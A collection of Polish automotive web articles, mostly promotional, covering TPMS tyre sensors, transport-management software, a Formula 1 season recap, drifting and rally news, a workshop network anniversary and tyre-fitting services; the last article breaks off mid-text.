Słynny polski polityk wyprzedaje majątek. Pod młotek trafia Rolls-Royce Ghost – kosztuje fortunę!

Córka chciała samochód elektryczny. Ojciec sprzedał dom i przerobił Rolls-Royce’a

Rolls-Royce


Source: Padł rekord sprzedaży Rolls-Royce’ów w Polsce! Jakie modele pokochali bogaci Polacy?

Czujniki TPMS – klucz do bezpiecznej jazdy i oszczędności paliwa

Czujniki TPMS – ciśnienie w oponach pod kontrolą

Czujniki TPMS, czyli System Monitorowania Ciśnienia w Oponie, to elektroniczne urządzenia zamontowane wewnątrz naszych opon, które pełnią niezwykle ważną rolę. Ich głównym zadaniem jest natychmiastowe wykrywanie zbyt niskiego ciśnienia w oponach. Dzięki bezprzewodowej komunikacji z odbiornikiem umieszczonym wewnątrz samochodu, kierowca ma dostęp do bieżących informacji na temat ciśnienia w każdym kole. To z kolei pozwala na szybką reakcję w przypadku niskiego ciśnienia, co może skutkować redukcją ryzyka wypadku.

Wysokiej jakości czujniki TPMS do monitorowania ciśnienia w oponach

Czujniki TPMS, które znajdziemy na rynku, cechują się wysoką jakością oraz trwałością. Stanowią one doskonałą alternatywę dla drogich oryginalnych urządzeń montowanych fabrycznie w samochodach. Dzięki wytrzymałej baterii, te urządzenia są w stanie pracować nawet przez 7 lat, zapewniając stałą ochronę naszych opon.

Montaż czujników TPMS jest prosty i uniwersalny dzięki skręcanym zaworom, co pozwala na ich dopasowanie do różnych modeli felg, nie tylko tych dostępnych na stronie LadneFelgi.pl.

Przystosowanie czujników do naszego auta

Aby czujniki TPMS były gotowe do użytku, musimy je odpowiednio zaprogramować i aktywować. Istnieją dwie metody, dzięki którym można to zrobić.

  • Kopiowanie Czujnika TPMS

Aby zaprogramować nowe czujniki, potrzebujemy numeru ID oryginalnego urządzenia. Ten numer można zeskanować, przystawiając programator do koła lub odczytując go bezpośrednio z obudowy oryginalnego czujnika. W przypadku drugiej opcji konieczne jest zdjęcie opony z koła. Po zapisaniu numerów ID w nowych czujnikach, nasz samochód powinien bez problemu wykryć te nowe urządzenia.

  • Tryb Nauki w Czujnikach Ciśnienia

Czujniki TPMS otrzymują nowe numery ID, a następnie są montowane w kołach. Aby uaktywnić je, musimy uruchomić samochód w trybie nauki, aby komputer pojazdu mógł je wykryć i zapisać. Procedura aktywacji i zapisywania w trybie nauki różni się w zależności od producenta i modelu pojazdu.

Tryb automatyczny (około 39% samochodów) – w większości przypadków wystarczy zamontować czujniki w kołach i przejechać niewielki dystans z prędkością 30 km/h. W niektórych samochodach konieczne jest jedynie włączenie odpowiedniej funkcji w menu komputera pokładowego.

Tryb OBD (około 36% samochodów) – wymaga zeskanowania zamontowanych czujników za pomocą urządzenia diagnostycznego, a następnie podłączenia modułu OBD do złącza i wgrania nowych ID do komputera pojazdu.

Tryb stacjonarny (około 25% samochodów) – wymaga wykonania określonej sekwencji czynności, zależnej od modelu auta.

Podsumowanie

Czujniki TPMS to niezastąpione narzędzie, które dba o nasze bezpieczeństwo na drodze oraz pozwala na oszczędność paliwa. Montaż tych urządzeń nie tylko zwiększa naszą pewność siebie podczas podróży, ale także przyczynia się do utrzymania optymalnego ciśnienia w oponach, co ma korzystny wpływ na zużycie paliwa i żywotność opon. Dzięki nim możemy cieszyć się spokojną i komfortową jazdą, mając pewność, że nasz samochód jest w doskonałym stanie technicznym. Nie zapominajmy o regularnym sprawdzaniu i konserwacji czujników TPMS, aby cieszyć się ich pełną efektywnością przez wiele lat.

Source: Czujniki TPMS – klucz do bezpiecznej jazdy i oszczędności paliwa

Ekoinnowacje w systemach TMS: jak technologia wspiera zrównoważony rozwój w transporcie?

Czym są ekoinnowacje i zrównoważony rozwój?

Termin „ekoinnowacje” odnosi się do szczególnej kategorii innowacyjnych rozwiązań, których efektem jest redukcja negatywnego wpływu procesów na środowisko lub umożliwienie bardziej rozsądnego, odpowiedzialnego eksploatowania zasobów naturalnych. Co ważne, mogą one obejmować różne obszary i wspierać różne procesy. Zawsze jednak muszą mieć korzystny wpływ na naturę i działać w zgodzie z ideą zrównoważonego rozwoju.

Zrównoważony rozwój to z kolei pojęcie odnoszące się do rozwoju społeczno-ekonomicznego przy jednoczesnym braniu pod uwagę możliwości dla przyszłych pokoleń. Z uwagi na fakt, że zmiany klimatyczne są obecnie jednym z największych zagrożeń, idea zrównoważonego rozwoju skupia się w głównej mierze właśnie na ekologii. 

Działania w tym zakresie mogą obejmować m.in. zwiększenie wykorzystania surowców wtórnych czy wdrożenie technologii niskoemisyjnych, a także poprawę efektywności już funkcjonujących procesów.

Czym są systemy TMS i jakie ekoinnowacje wdrażają?

Systemami TMS (ang. „Transport Management System” – system zarządzania transportem) nazywamy platformy, które pomagają firmom planować, realizować, a przede wszystkim optymalizować procesy związane z przepływem towarów. Oprogramowanie tego rodzaju jest szeroko wykorzystywane przez firmy z branży logistycznej, dla których optymalizacja realizowanych zleceń bezpośrednio wiąże się ze wzrostem potencjalnych zysków.

Funkcjonalność systemów TMS może obejmować wiele różnych obszarów. Zależnie od wybranego rozwiązania można liczyć np. na podgląd operacji transportowych w czasie rzeczywistym, gromadzenie dokumentacji związanych z dostawami ładunków czy wsparcie w realizacji płatności. Do tego dochodzi także np. możliwość wyszukiwania miejsc parkingowych, co ułatwia planowanie postojów. Dzięki temu można ograniczyć liczbę zbędnie pokonywanych kilometrów, usprawniając tym samym cały proces transportu. Podobne korzyści zapewnia m.in. wyszukiwanie myjni na trasie.

Który z systemów TMS niesie za sobą funkcje, które mogą przekładać się na zrównoważony rozwój?

Na rynku dostępnych jest wiele propozycji systemów TMS. W większości z nich można znaleźć funkcje, które mogą przyczynić się do zrównoważonego rozwoju. Przykładem takiego rozwiązania jest platforma SNAP, która pozwala na optymalizację procesów transportowych, a co za tym idzie – zmniejszenie emisji zanieczyszczeń i zużycia energii. Wśród funkcjonalności o korzystnym wpływie na środowisko można wymienić np. moduł SNAP Parking, który umożliwia wyszukiwanie miejsc postojowych i wykonywanie płatności za pośrednictwem platformy. Dzięki temu można skrócić czas spędzony na drodze i zmniejszyć liczbę pokonywanych kilometrów w poszukiwaniu odpowiedniego parkingu, co oznacza spadek emisji spalin i bardziej ekologiczny transport.

Source: Ekoinnowacje w systemach TMS: jak technologia wspiera zrównoważony rozwój w transporcie?

Podsumowanie sezonu Formuły 1

Wiele emocji i mało niespodzianek, czyli podsumowanie sezonu Formuły 1

Wyobraźcie sobie, że Ocon Esteban uzyskał najlepszy czas podczas dnia testów opon Pirelli. Kierowca zakończył sezon na czele tabeli. Zdecydowanie więcej pecha miał George Russell, który niestety rozbił swojego Mercedesa. Już sam dzień testowy rozpoczął się z dużym opóźnieniem, co było spowodowane tym, że na miejscu nie było helikoptera medycznego i zawodnicy musieli poczekać prawie 30 minut. Przejdźmy jedna już do pełnego podsumowania sezonu Formuły 1. W GP Japonii najlepszy był Verstappen, który zakończył GP z wynikiem 25 punktów. Nie dał szans swoim rywalom. Drugie miejsce zajął Norris, jednak do lidera zabrakło mu aż 7 punktów. Grand Prix Kataru ponownie wygrał Verstappen nie dając swoim przeciwnikom szans. Drugi był Australijczyk Piastri. Norris zajął tam trzecie miejsce z zaledwie 15 punktami. Można powiedzieć, że kierowca Red Bulla w tym sezonie nie ma sobie równych. Przyjrzyjmy się jeszcze Grand Prix Włoch, gdzie także wygrał holenderski kierowca Verstappen i to ponownie z dużą przewagą. 

Max Verstappen – niekwestionowany mistrz Formuły 1

Holenderski kierowca Formuły 1 Max Verstappen ma zaledwie 27 lat i rzeczywiście nie ma sobie równych w Formule 1. Rozpoczynał karierę od kartingu. Jednak już w 2015 r. dostał się do pierwszego zespołu w Formule 1, a od 2016 r. ściga się w zespole Red Bull Racing. Trzeba przyznać, że jego kariera jest imponująca, a mianowicie ostatnie 3 sezony zakończył jako numer 1. Warto wiedzieć, że 3 września 2023 r. wygrał 10 wyścig Formuły 1 i pobił rekord największej ilości zwycięstw w jednym sezonie. Do tej pory należał on Do Sebastiana Vettela. Niemiecki kierowca Formuły 1 jest czterokrotnym mistrzem, jednak ostatni duży sukces osiągnął w 2018 r. i było to drugie miejsce. Wielu komentatorów twierdzi, że obecnie nie ma szans, by jakikolwiek inny kierowca zagroził Verstappenowi. Red Bull Racing naprawdę dobrze przygotowuje bolidy, co pomaga holenderskiemu kierowcy zdobywać kolejne tytuły. Należy zwrócić uwagę na fakt, że w ostatnim czasie drużyna Aston Martin coraz częściej traci prędkość, co przekłada się na gorsze wyniki zawodników. Z kolei Ferrari popełnia błędy. Pojawia się jeszcze pytanie, czy Lewis Hamilton ma szansę na odzyskanie tytułu, ale wszystko wskazuje na to, że nie.     

Verstappen – maszyna do zwyciężania

O Holendrze często mówi się, że jest maszyną do zwyciężania. Należy jednak zdawać sobie sprawę, że Verstappen naprawdę ciężko pracował na swój sukces. Dodatkowo do każdego wyścigu naprawdę dobrze się przygotowuje i koncentruje. Ale to jeszcze nie wszystko. Otóż należy pamiętać, że Red Bull Racing zbudował bolida, który nie ma sobie równych. Sukces w dużej mierze zależy od Adriana Neweya, który jest specjalistą od aerodynamiki i stworzył naprawdę genialny samochód. Jeżeli chcecie obstawiać kolejne wyścigi Formuły 1, to możecie to zrobić wchodząc na stronę: sport.betfan.pl. Pamiętajcie jednak, że nawet w tak technicznej i rozwiniętej technologicznie dyscyplinie obstawianie wiąże się z ryzykiem.   

Source: Podsumowanie sezonu Formuły 1

Karolina Pilarczyk Mistrzynią Polski w klasie kobiet w Driftingowych Mistrzostwach Polski 2023

Za nami Gala Sportu Samochodowego 2023. Najlepsi zawodnicy różnych dyscyplin motorsportu,  odebrali w sobotę 25. listopada w Centrum Olimpijskim w Warszawie statuetki, puchary oraz szarfy za swoje sukcesy w sezonie 2023. W driftingu triumfowała Karolina Pilarczyk – najbardziej znana drifterka w Polsce i Europie. Swoje wysokiej klasy umiejętności przypieczętowała tytułem Mistrzyni Polski 2023.

Karolina Pilarczyk

Karolina Pilarczyk

Karolina Pilarczyk – Mistrzyni Polsko 2023 w driftingu

Choć ma już na koncie podwójne mistrzostwo Europy, to tytuł mistrzowski zdobyty we własnym kraju ma dla niej szczególną wagę. Jak wielokrotnie powtarzała, to polscy kibice są jej tajną mocą, która nawet w najtrudniejszych chwilach dawała jej motywację do walki i dla których  właśnie bardzo chciała ten puchar zdobyć. Udało się w wielkim stylu i tego Karolinie gratulujemy.

Karolina Pilarczyk

Karolina Pilarczyk

Tegoroczna edycja Driftingowych Mistrzostw Polski, między innymi właśnie dzięki tak znanym  zawodnikom jak Karolina Pilarczyk, to olbrzymi sukces tej dyscypliny. A liczby niech mówią same za siebie:

  • 35 tys widzów na żywo podczas zawodów,
  • 500 tys wyświetleń transmisji on-line i TV,
  • 3,6 tys publikacji prasowych,
  • 27 mln zasięgu odbiorców treści w social mediach ,
  • 51 824 075 zasięgu kampanii promujących rozgrywki poszczególnych rund.

Karolina Pilarczyk

Driftingowa bestia Karoliny Pilarczyk

Na koniec dodajmy, że Karolina Pilarczyk sieje postrach nie tylko wśród kobiet, bowiem w klasyfikacji generalnej DMP uplasowała się w pierwszej dziesiątce, zostawiając za sobą ponad 30 mężczyzn, często bardzo dobrych i tytułowanych drifterów . Jak sama dodaje to tylko zaostrzyło jej sportowy apetyt na sezon 2024. Jeszcze raz gratulujemy tytułu Mistrzyni Polski 2023!

Karolina Pilarczyk

Karolina Pilarczyk


Source: Karolina Pilarczyk Mistrzynią Polski w klasie kobiet w Driftingowych Mistrzostwach Polski 2023

Bartosz Ostałowski odznaczony przez Prezydenta RP Złotym Krzyżem Zasługi

W poniedziałek (27 listopada) w Pałacu Prezydenckim w Warszawie zorganizowane zostało wyjątkowe wydarzenie związane z Międzynarodowym Dniem Osób z Niepełnosprawnościami. W uroczystości wziął udział Prezydent Rzeczpolitej Polskiej Andrzej Duda wraz z Pierwszą Damą Agatą Kornhauser-Dudą, a także zaproszeni goście. Bartosz Ostałowski odznaczony został Złotym Krzyżem Zasługi.

Bartosz Ostałowski odznaczony Złotym Krzyżem Zasługi

Podczas ceremonii prezydent Andrzej Duda wręczył odznaczenia państwowe sportowcom, trenerom, działaczom, nauczycielom i przedstawicielom organizacji pozarządowych za zasługi w działalności na rzecz osób z niepełnosprawnościami.

Bartosz Ostałowski – jedyny na świecie profesjonalny kierowca sportowy, który prowadzi stopą – został odznaczony Złotym Krzyżem Zasługi za osiągnięcia sportowe, a także promowanie aktywizacji społecznej osób z niepełnosprawnościami.

Bartosz Ostałowski Andrzej Duda Krzyż zasługi (2)

Agata Kornhauser-Duda, Bartosz Ostałowski, Andrzej Duda

– Od kilku lat obserwuję, że w mojej działalności sportowej jest element misji. Chcę pokazywać, że ograniczenia są tylko w naszych głowach, a niemożliwe nie istnieje. W ten sposób staram się motywować innych do walki o ich marzenia – tłumaczył Bartosz OstałowskiNie sądziłem, że moja aktywność w motorsporcie doprowadzi mnie do Pałacu Prezydenckiego, dlatego tym bardziej cieszę się, że moja praca została doceniona w tak wyjątkowy sposób – dodał.

Podczas swojego wystąpienia Prezydent RP podziękował odznaczonym za to, że realizują szeroko rozumianą dostępność na różnych polach życia społecznego. Jak wskazał, przyczyniają się oni do tego, aby osoby z niepełnosprawnościami, miały szansę na normalne funkcjonowanie w społeczeństwie, a także realizację swoich marzeń, zdolności i ambicji.

Chodzi o to, żeby każdy człowiek w społeczeństwie czuł się dobrze, aby każdy człowiek mógł się realizować, aby każdy człowiek był zrealizowany, aby każdy człowiek mógł osiągnąć to, czego pragnie w największym możliwym poczuciu samodzielności swojego osiągnięcia – mówił Prezydent RP Andrzej Duda.

Bartosz Ostałowski odznaczony

Bartosz Ostałowski Andrzej Duda Krzyż zasługi

Bartosz Ostałowski – kim jest?

Jedyny na świecie profesjonalny kierowca sportowy, który samochód prowadzi stopą. Posiada międzynarodową licencję wyścigową FIA i z sukcesami rywalizuje na równych zasadach ze sprawnymi kierowcami w Driftingowych Mistrzostwach Polski oraz ligach europejskich. Jest mówcą motywacyjnym występującym na konferencjach i spotkaniach biznesowych. Stara się wspierać ludzi w osiąganiu sukcesów, a także w rozwoju osobistym. Bartosz Ostałowski prowadzi autorski program dostępny w discovery+ na player.pl – „Pasja na Krawędzi”, w którym testuje wyjątkowe, ekskluzywne samochody i rozmawia z inspirującymi osobami ze świata sportu i biznesu o ich pasjach. Ponadto jest artystą i członkiem Wydawnictwa AMUN, które zrzesza osoby malujące stopami i ustami.

Niedawno pobił rekord Guinnessa, ale o tym niech lepiej sam opowie.

Zdjęcia: Kancelaria Prezydenta RP

Source: Bartosz Ostałowski odznaczony przez Prezydenta RP Złotym Krzyżem Zasługi

Kamil Sokołowski i Paweł Stopiński w klasie historycznej – wystartują na Barbórce hitem lat 90.

Reprezentanci Automobilklubu Rzemieślnik zaprezentują się w samochodzie, który w połowie lat 90 przebojem wdarł się na rajdowe odcinki – Peugeot 106 Rallye S1 w specyfikacji grupy A. Za kierownicą tego małego francuskiego auta, swoją karierę rozpoczynał Gilles Panizzi.

Przeczytaj też: Gosia Prus i Ola Rogala wystartują w Barbórce! 100% damski team powalczy na kultowej Karowej?

Kamil Sokołowski i Paweł Stopiński w Rajdzie Barbórki

Auto, którym wystartuje warszawska załoga jest przygotowane zgodnie z homologacją grupy A z 1994 roku, w bardzo zbliżonych barwach do tych, w których francuski kierowca Fabien Doenlen w rajdzie Tour de Corse 1994 zajął 13 miejsce w klasyfikacji generalnej! Wyprzedził wtedy wiele dużo mocniejszych aut.

Kamil Sokołowski Peugeot 106 Rallye S1

Kamil Sokołowski / Paweł Stopiński i ich Peugeot 106 Rallye S1

To będzie moja 16 Barbórka! Z naszym autem wiąże się ciekawa historia. Peugeot stoi w moim garażu od 2000 roku. To była moja pierwsza rajdówka i postanowiłem, że nigdy jej nie sprzedam. Po drodze w czasie startów rallycrossie miałem Skodę Felicię, Skodę Fabię Super 1600, czy kilka Cinquecento. Peugeota jednak zawsze darzyłem ogromnym sentymentem. Trzy lata temu postanowiłem odbudować auto w specyfikacji grupy A. Nowy silnik, zawieszenie, kłowa skrzynia biegów, dużo oryginalnych części Peugeot Sport. Do tego całkowity remont nadwozia i nowa, współczesna klatka bezpieczeństwa. Po setkach godzin pracy i nieprzespanych nocach spędzonych na szukaniu we Francji różnych „gadżetów” w końcu możemy pokazać efekty naszej pracy.

Nasz Rallye jest samochodem pierwszej serii z silnikiem o pojemności 1299ccm. Ten malutki silnik generuje 145 koni mechanicznych i 140 Nm momentu obrotowego – w połączeniu z krótko zestopniowaną skrzynią, na twarzy w czasie prowadzenia rysuje się szeroki uśmiech! Oczywiście, mam świadomość swoich możliwości i naszego auta ale nie o to chodzi. Zależy nam, aby spędzić fajny czas, porozmawiać z wieloma znajomymi, z którymi normalnie nie ma czasu się spotkać i przede wszystkim wyśmienicie się bawić. A jeśli nie popełnimy błędów – to Karowa będzie nasza J – powiedział Kamil Sokołowski

Kamil Sokołowski / Paweł Stopiński i ich Peugeot 106 Rallye S1

Kamil Sokołowski / Paweł Stopiński i ich Peugeot 106 Rallye S1

To już nasz piąty wspólny start w Barbórce. Ten rajd wcale nie jest prosty, bardzo krótka trasa nie pozwala na popełnienie najmniejszego błędu. Zapowiada się loteria pogodowa co dodatkowo może wywołać lawinę zaskoczeń. Mamy przygotowane zestawy opon na każdą ewentualność wiec ważne, żebyśmy w sobotę rano podjęli właściwą decyzję. Wszystkie odciniki poza nowym Tarchominem są nam znane, co jest dla nas dodatkowym atutem. Klasa to ciekawe zestawienie przednio i tylnonapędowych samochodów. Liczymy na fajną walkę, dużo funu i oczywiście zwycięstwo w klasie J – dodał Paweł Stopiński.

Załogę wspierają: Bio-gen, PPG Refinish, Michelin

Kamil Sokołowski / Paweł Stopiński i ich Peugeot 106 Rallye S1

Kamil Sokołowski / Paweł Stopiński i ich Peugeot 106 Rallye S1


Source: Kamil Sokołowski i Paweł Stopiński w klasie historycznej – wystartują na Barbórce hitem lat 90.

5 lat Q Service Castrol na rynku – sieć świętuje jubileusz!

Spis treści

Od 2018 roku w ramach konceptu do projektu dołączyło blisko 600 zrzeszonych serwisów, świadczących usługi dla klientów indywidualnych i flotowych. Menadżerowie odpowiedzialni za projekt podsumowują 5 lat Q Service Castrol, dotychczasową działalność, dzielą się planami na przyszłość oraz wskazują na wyzwania, jakie czekają branżę warsztatową w najbliższych latach.

Projekt Q Service Castrol powstał w 2018 roku z połączenia wiedzy i doświadczenia dwóch znaczących przedsiębiorstw w branży motoryzacyjnej. Sieć została stworzona przez firmę Inter Cars, zaś partner tytularny – Castrol – od początku wspiera działania konceptu. Jak Q Service Castrol radził sobie do tej pory na rynku i jakie cele stawia sobie na przyszłe lata?

5 lat Q Service Castrol

W Polsce obecnie funkcjonuje blisko 600 warsztatów zrzeszonych w ramach konceptu sieciowego Q Service Castrol. W serwisach naprawianych jest ponad milion samochodów rocznie. To niekwestionowany lider zrzeszający serwisy samochodowe.

Sieć Q Service Castrol rozpoznawalna jest m.in. dzięki gwarancjom na silnik, hamulce oraz opony. Ponadto, serwisy samochodowe zrzeszone w jej strukturach są aktywnymi uczestnikami programu Bio Service, który ma na celu ochronę środowiska naturalnego. W ramach tej inicjatywy, warsztaty mają możliwość efektywnego zarządzania odpadami, powstałymi w wyniku prac serwisowych, korzystając z usług firm posiadających odpowiednie kwalifikacje i zasoby. Proces recyklingu odpadów jest ściśle zgodny z obowiązującymi przepisami prawnymi oraz z zasadami ekologii.

Marta Ciesielska menadżerka projektu o powodach sukcesu

Q Service Castrol wspierają liczni partnerzy którzy dostarczają do warsztatów fachową wiedzę i sprawdzone rozwiązania. Wśród firm współpracujących z siecią są m.in. Castrol, Continental, Semperit, Bosch, Ate, Varta, ZF Aftermarket, NRF i od niedawna marka Milwaukee.

– Dzięki współpracy z profesjonalnymi partnerami, właściciele warsztatów otrzymują dostęp do najnowszych informacji technicznych oraz mogą liczyć na wiele dodatkowych korzyści. Ma to ogromny wpływ na rozwój serwisów, które zdobywają rynkową przewagę nad innymi firmami – stwierdza Marta Ciesielska, menadżer projektu Q Service Castrol.

Konferencja 5-lecie Q Service Castrol - 3

Marta Ciesielska oraz ambasadorzy marki Q Service Castrol: Bartek Ostałowski i Piotr Gruszka

Flota w sieci warsztatów

Sieć warsztatowa wspiera również klientów flotowych i odpowiada na potrzeby branży, oferując liczne usługi i rozwiązania. Q Service Castrol zajmuje się obsługą flot samochodów osobowych na obszarze całego kraju w ramach programu flotowego firmy Inter Cars. Q Service Castrol obecnie świadczy usługi dla najważniejszych firm flotowych, wśród nich są: Arval, Leasplan, ALD, Masterlease i inne. 

Wyzwania i przyszłość branży warsztatowej

W najbliższych latach branżę warsztatową czeka wiele wyzwań. Najważniejsze kwestie związane są przede wszystkim z elektryfikacją pojazdów, rosnącymi cenami usług i brakami wykwalifikowanej kadry pracowniczej w warsztatach.

Q Service Castrol wdraża rozwiązania, które odpowiadają na pojawiające się potrzeby i wyzwania rynku warsztatowego. Pośród ważnych inicjatyw, w których uczestniczy projekt są systemy praktyk i zaawansowanych szkoleń oraz programy Młode Kadry i konkurs Young Car Mechanic. Dodatkowo, Q Service Castrol stale pomaga doposażyć się właścicielom warsztatów w najnowocześniejszy sprzęt, potrzebny mechanikom do codziennej pracy.

Przeczytaj też: Samochód elektryczny u mechanika – czy serwisy są już gotowe na to wyzwanie?

Q Service Castrol – plany na przyszłość

W zeszłym roku Q Service Castrol świętował otwarcie 500. warsztatu, co świadczy przede wszystkim o sile i rosnącej popularności konceptu sieciowego. Projekt nie zwalnia tempa, a menadżerowie odpowiedzialni za jego rozwój planują dalszą ekspansję na mapie Polski.

– Stawiamy na ciągły rozwój. Intensywnie prowadzimy skuteczne działania marketingowe, które wpływają na wzrost rozpoznawalności marki. Stale rozwijamy nasz koncept i współpracujemy wyłącznie z jakościowymi serwisami. Chcemy podążać za trendami, jednocześnie konsekwentnie krocząc wyznaczoną 5 lat temu ścieżką. Naszym celem jest stanie się najlepszą w kraju siecią zrzeszającą niezależne serwisy samochodowe – podsumowuje Marta Ciesielska.

5 lat Q Service Castrol

Konferencja 5-lecie Q Service Castrol


Source: 5 lat Q Service Castrol na rynku – sieć świętuje jubileusz!

Gdzie znaleźć profesjonalny warsztat wulkanizacyjny?

Usługi wymiany opon

Funkcjonujące na rynku warsztaty wulkanizacyjne starają się odpowiedzieć na zapotrzebowanie najbardziej wymagających klientów, co przejawia się nie tylko w jakości świadczonych usług, ale również ich promocji. Każdy kierowca, który planuje wymianę opon w swoim samochodzie, może skorzystać z wyszukiwarki internetowej, by znaleźć serwis z fachową pomocą. Chcąc mieć pewność, że usługa zostanie zrealizowana szybko i profesjonalnie, warto skorzystać z prostej i funkcjonalnej platformy Motointegrator.com. Znajdują się tam oferty najlepszych warsztatów, wykonujących wymianę opon. Każdy z tych serwisów kieruje się dobrem swoich klientów, zapewniając terminowość, miłą obsługę, a co najważniejsze specjalistyczną wiedzę i doświadczenie w branży oponiarskiej. Na https://motointegrator.com/pl/pl/uslugi/177-wymiana-opon-i-wulkanizacja udostępniane są usługi warsztatów z różnorodnych miast – Warszawy, Katowic, Poznania itp. Dokładna lokalizacja ułatwia wybór warsztatu, znajdującego się w pobliżu miejsca zamieszkania. Wystarczy zaznaczyć swoją dzielnicę, np. Białołękę, by pojawiła się lista najlepszych serwisantów wymiany opon. Szczegółowy opis oferty zawiera rodzaj świadczonych usług, cennik i ogólną charakterystykę działalności. Samo umówienie się na wizytę zajmuje kilka chwil. Należy jedynie zaznaczyć typ usługi, a następnie wybrać dogodny termin.

Wymiana opon – dlaczego warto skorzystać z platformy Motointegrator.com?

Wszystkie oferty umieszczone na stronie to profesjonalne, sprawdzone warsztaty. Jakość świadczonych usług potwierdzają opinie klientów widoczne w wizytówce każdego serwisu. Mają Państwo zatem pewność, że wymiana opon zostanie wykonana fachowo, a sam termin realizacji będzie o wiele krótszy niż w przypadku bezpośredniej wizyty w warsztacie. Wymiana opon z Motointegrator.com to świetna opcja dla osób, które, poza tą usługą, chcą sprawdzić lub wymienić inne części swojego auta. Warsztaty wulkanizacyjne bardzo często specjalizują się w klimatyzacji, zakładaniu felg itp. W przypadku wszelkich wątpliwości, Motointegrator.com umieszcza na swojej stronie odpowiedzi na pytania najczęściej zadawane przez klientów.

Prostowanie felg aluminiowych – dlaczego jest tak ważne?

Wymiana ogumienia bardzo często wiąże się z koniecznością prostowania felg aluminiowych. Dlaczego? Felgi to lekkie obręcze koła samochodowego, które wykonuje się z różnych materiałów. Najczęściej jest to aluminium bądź stal. Pierwszy typ wyróżnia wyjątkowa lekkość, świetna estetyka, precyzja wykonania z dokładnością do 0,3 mm oraz wydajne chłodzenie zacisków hamulcowych. Zdarza się jednak, że felgi aluminiowe ulegają zniekształceniu lub poważnemu uszkodzeniu. Jakie objawy mogą na to wskazywać? Są to wszelkie wibracje układu kierowniczego, a także bicie kół. Jeśli zauważą Państwo takie problemy, niezbędna jest wizyta w warsztacie w celu wyprostowania felg.

Kiedy założyć opony zimowe?

Letnie opony ze względu na swoją budowę nie są przystosowane do  jazdy po zaśnieżonej drodze, pokrytej dodatkową warstwą lodu. Prowadzenie samochodu z takim ogumieniem stwarza poważne zagrożenie nie tylko dla kierowcy i pasażerów pojazdu, ale również innych uczestników ruchu drogowego. Opony zimowe, w przeciwieństwie do letnich, wykonuje się z wykorzystaniem gęstej mieszaniny siarki i kauczuku, co zapewnia optymalną elastyczność i świetną ochronę przed wpadnięciem auta w niekontrolowany poślizg. Duża liczba lameli powoduje natomiast rozpraszanie wody i zagłębienie się opon w głąb śniegu. W efekcie auto zachowuje swoją stabilność, nawet w trudnych warunkach. Kiedy zatem odwiedzić wulkanizatora? Kluczowym wskaźnikiem jest utrzymująca się temperatura powietrza. Jeśli nie przekracza ona 7 st. Celsjusza, wówczas należy wymienić opony na zimowe. Jakie inne objawy wskazują na zły stan ogumienia? Komplet nowych opon jest niezbędny w przypadku wykrycia nacięć, uszkodzeń wentyla, plam, czy też zniekształcenia drutówki. Czy takie usterki da się usunąć? Najczęściej stosowane metody to zimna bądź ciepła wulkanizacja, w zależności od głębokości uszkodzenia. Naprawa opon to mniejszy wydatek niż montaż nowego kompletu, jednak nie zawsze jest ona możliwa. 

Ile kosztuje wymiana opon?

Za oponę przystosowaną do 16-calowych obręczy trzeba wydać co najmniej 100 złotych. Jeśli felgi są większe, np. 19-calowe wówczas koszt serwisu wzrasta dwukrotnie. Osoby, które nie dysponują dużym budżetem, mogą zdecydować się na zamontowanie używanych kół. Ich stan powinien być jednak na tyle dobry, by przetrwały one okres zimowy.

Dzięki platformie Motointegrator.com znaleźć można fachową pomoc wulkanizatorów. Wyybierając warsztat lepiej mieć pewność, że pracuje w nim profesjonalna obsługa, która chętnie odpowie na wszelkie pytania, takie jak np., jaki koszt wymiany opon czy trwa wymiana opon. Dzięki temu można być spokojnym, że usługa wykonana zostanie z należytą starannością.

Source: Gdzie znaleźć profesjonalny warsztat wulkanizacyjny?

Gosia Prus i Ola Rogala wystartują w Barbórce! 100% damski team powalczy na kultowej Karowej?

W 61. Rajdzie Barbórki, wśród 110 załóg, które znalazły się na liście zgłoszeń, aż 35. wystartuje mocnymi autami klasy R1. Wśród nich widnieje nowy zespół – Gosia Prus i Ola Rogala stworzyły kobiecy team, który powalczy o możliwość startu na odcinku specjalnym Karowa.

Gosia Prus – zawodniczka rajdowa i rallycrossowa

Gosia to zawodniczka zarówno rajdowa, jak i rallycrossowa. Obrała też związaną ze sportem motorowym ścieżkę zawodową, która pozwala jej spełniać marzenia.

Małgorzata Prus

Po ogromnym sukcesie w Mistrzostwach Polski Rallycross w sezonie 2023, wywalczeniu dwóch podiów oraz debiucie w Rajdzie Śląska pokazała, że jest gotowa na nowe wyzwania. Nie zwalnia tempa, a jej umiejętności za kierownicą zyskują coraz większe uznanie. Za kierownicą BMW E36, zdeterminowana i pełna wiary w siebie, podbiła serca kibiców dynamicznym stylem jazdy, ale też odwagą na torze. A wszystko to w niebywale trudnej i wymagającej klasie RWD CUP.

Gosia Prus i Ola Rogala

Gosia Prus i Ola Rogala

Gosia Prus nieustannie pokazuje, że siła wiary we własne umiejętności może być kluczowym czynnikiem sukcesu. Jej droga przez świat motorsportu nie była łatwa, ale dzięki ciężkiej pracy i przekonaniu, że każdy wysiłek prowadzi do osiągnięcia celu, stała się inspiracją dla wielu. Gosia realizuje swoje marzenia i swoją postawą udowadnia kolejnym pasjonatom, że w świecie pełnym emocji i adrenaliny można odnaleźć upragnione miejsce.

Gosia Prus i Ola Rogala – czym startują w Rajdzie Barbórki?

Czym wystartuje zespół Gosia Prus i Ola Rogala? Będzie to Mitsubishi Lancer Evo X – prawdziwa bestia, przygotowana do rajdowych zmagań na europejskich trasach w najwyższej specyfikacji Grupy N. Na pokładzie znalazły się:

  • elektronika marki Motec,
  • skrzynia biegów w układzie H zgodna z wymogami Grupy N,
  • bezpieczny zbiornik paliwa.

To tylko niektóre z elementów, w które wyposażony jest Lancer zespołu.

Zapytacie: ok, Lancer Evo X – ale jaka moc? Bagatela – aż 400 KM! Dwa lata temu auto udowodniło swoje możliwości – w Mistrzostwach Europy, podczas Rajdu Di Roma Capitale. Zanim samochód trafił w ręce entuzjasty, gotowego wykorzystać jego pełny potencjał, Lancer – po tej intensywnej rywalizacji – miał przerwę.

Historia tego auta jest równie bogata, co jego osiągnięcia. W sezonie 2020 popisywał się podczas Mistrzostw Europy w rajdach z udziałem takich kierowców jak Igor Widłak i – wcześniej – Łukasz Kotarba. Jednorazowo, podczas Rajdu Podlaskiego w 2022 roku, za kierownicą Lancera Evo X, zasiadł także Maciek Stolarski, prezentując się w klasie NAT 2. Ten samochód to zbiór niezapomnianych przeżyć i sportowych emocji na rajdowych trasach.

Gosia Prus i Ola Rogala

Gosia Prus i Ola Rogala

Aleksandra Rogala – pilotka rallycrossowa i rajdowa

